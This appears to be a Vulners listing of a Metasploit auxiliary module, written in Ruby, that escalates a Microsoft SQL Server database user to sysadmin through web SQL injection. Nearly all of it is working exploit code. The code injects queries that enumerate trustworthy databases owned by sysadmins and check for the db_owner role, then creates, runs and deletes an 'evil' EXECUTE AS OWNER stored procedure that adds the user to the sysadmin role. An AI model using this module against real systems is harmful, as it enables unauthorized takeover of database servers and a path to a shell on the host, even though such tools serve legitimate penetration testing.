Lucene search
K

Microsoft SQL Server SQL Injection Escalate Db_Owner

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 158 Views

This module can be used to escalate SQL Server user privileges to sysadmin through a web SQL Injection by obtaining the db_owner role in a trustworthy database owned by a sysadmin user, and then using the mssql_payload_sqli module to obtain a shell on the system

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::MSSQL_SQLI  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner',  
'Description' => %q{  
This module can be used to escalate SQL Server user privileges to sysadmin through a web  
SQL Injection. In order to escalate, the database user must to have the db_owner role in  
a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin  
role, the mssql_payload_sqli module can be used to obtain a shell on the system.  
  
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--  
},  
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],  
'License' => MSF_LICENSE,  
'References' => [['URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]  
))  
end  
  
def run  
# Get the database user name  
print_status("Grabbing the database user name from ...")  
db_user = get_username  
if db_user.nil?  
print_error("Unable to grab user name...")  
return  
else  
print_good("Database user: #{db_user}")  
end  
  
# Grab sysadmin status  
print_status("Checking if #{db_user} is already a sysadmin...")  
admin_status = check_sysadmin  
  
if admin_status.nil?  
print_error("Couldn't retrieve user status, aborting...")  
return  
elsif admin_status == '1'  
print_error("#{db_user} is already a sysadmin, no esclation needed.")  
return  
else  
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")  
end  
  
# Check for trusted databases owned by sysadmins  
print_status("Checking for trusted databases owned by sysadmins...")  
trust_db_list = check_trust_dbs  
if trust_db_list.nil? || trust_db_list.length == 0  
print_error("No databases owned by sysadmin were found flagged as trustworthy.")  
return  
else  
# Display list of accessible databases to user  
print_good("#{trust_db_list.length} affected database(s) were found:")  
trust_db_list.each do |db|  
print_status(" - #{db}")  
end  
end  
  
# Check if the user has the db_owner role in any of the databases  
print_status("Checking if #{db_user} has the db_owner role in any of them...")  
owner_status = check_db_owner(trust_db_list)  
if owner_status.nil?  
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")  
return  
else  
print_good("#{db_user} has the db_owner role on #{owner_status}.")  
end  
  
# Attempt to escalate to sysadmin  
print_status("Attempting to add #{db_user} to sysadmin role...")  
escalate_privs(owner_status, db_user)  
  
admin_status = check_sysadmin  
if admin_status && admin_status == '1'  
print_good("Success! #{db_user} is now a sysadmin!")  
else  
print_error("Fail buckets, something went wrong.")  
end  
end  
  
def get_username  
# Setup query to check for database username  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse result  
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/  
user_name = $1  
else  
user_name = nil  
end  
  
user_name  
end  
  
def check_sysadmin  
# Setup query to check for sysadmin  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse result  
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/  
status = $1  
else  
status = nil  
end  
  
status  
end  
  
def check_trust_dbs  
# Setup query to check for trusted databases owned by sysadmins  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName  
FROM sys.server_principals r  
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id  
INNER JOIN sys.server_principals p ON  
p.principal_id = m.member_principal_id  
inner join sys.databases d on suser_sname(d.owner_sid) = p.name  
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"  
  
# Run query  
res = mssql_query(sql)  
  
unless res && res.body  
return nil  
end  
  
# Parse results  
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)  
  
if parsed_result && !parsed_result.empty?  
parsed_result.flatten!  
parsed_result.uniq!  
end  
  
print_status("#{parsed_result.inspect}")  
  
parsed_result  
end  
  
def check_db_owner(trust_db_list)  
# Check if the user has the db_owner role is any databases  
trust_db_list.each do |db|  
# Setup query  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName  
from [#{db}].sys.database_role_members drm  
join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)  
join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)  
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"  
  
# Run query  
result = mssql_query(sql)  
  
unless result && result.body  
next  
end  
  
# Parse result  
if result.body =~ /#{clue_start}([^>]*)#{clue_end}/  
return $1  
end  
end  
  
nil  
end  
  
# Attempt to escalate privileges  
def escalate_privs(dbowner_db,db_user)  
# Create the evil stored procedure WITH EXECUTE AS OWNER  
evil_sql_create = "1;use #{dbowner_db};  
DECLARE @myevil as varchar(max)  
set @myevil = '  
CREATE PROCEDURE sp_elevate_me  
WITH EXECUTE AS OWNER  
as  
begin  
EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''  
end';  
exec(@myevil);--"  
mssql_query(evil_sql_create)  
  
# Run the evil stored procedure  
evilsql_run = "1;use #{dbowner_db};  
DECLARE @myevil2 as varchar(max)  
set @myevil2 = 'EXEC sp_elevate_me'  
exec(@myevil2);--"  
mssql_query(evilsql_run)  
  
# Remove evil procedure  
evilsql_remove = "1;use #{dbowner_db};  
DECLARE @myevil3 as varchar(max)  
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'  
exec(@myevil3);--"  
mssql_query(evilsql_remove)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation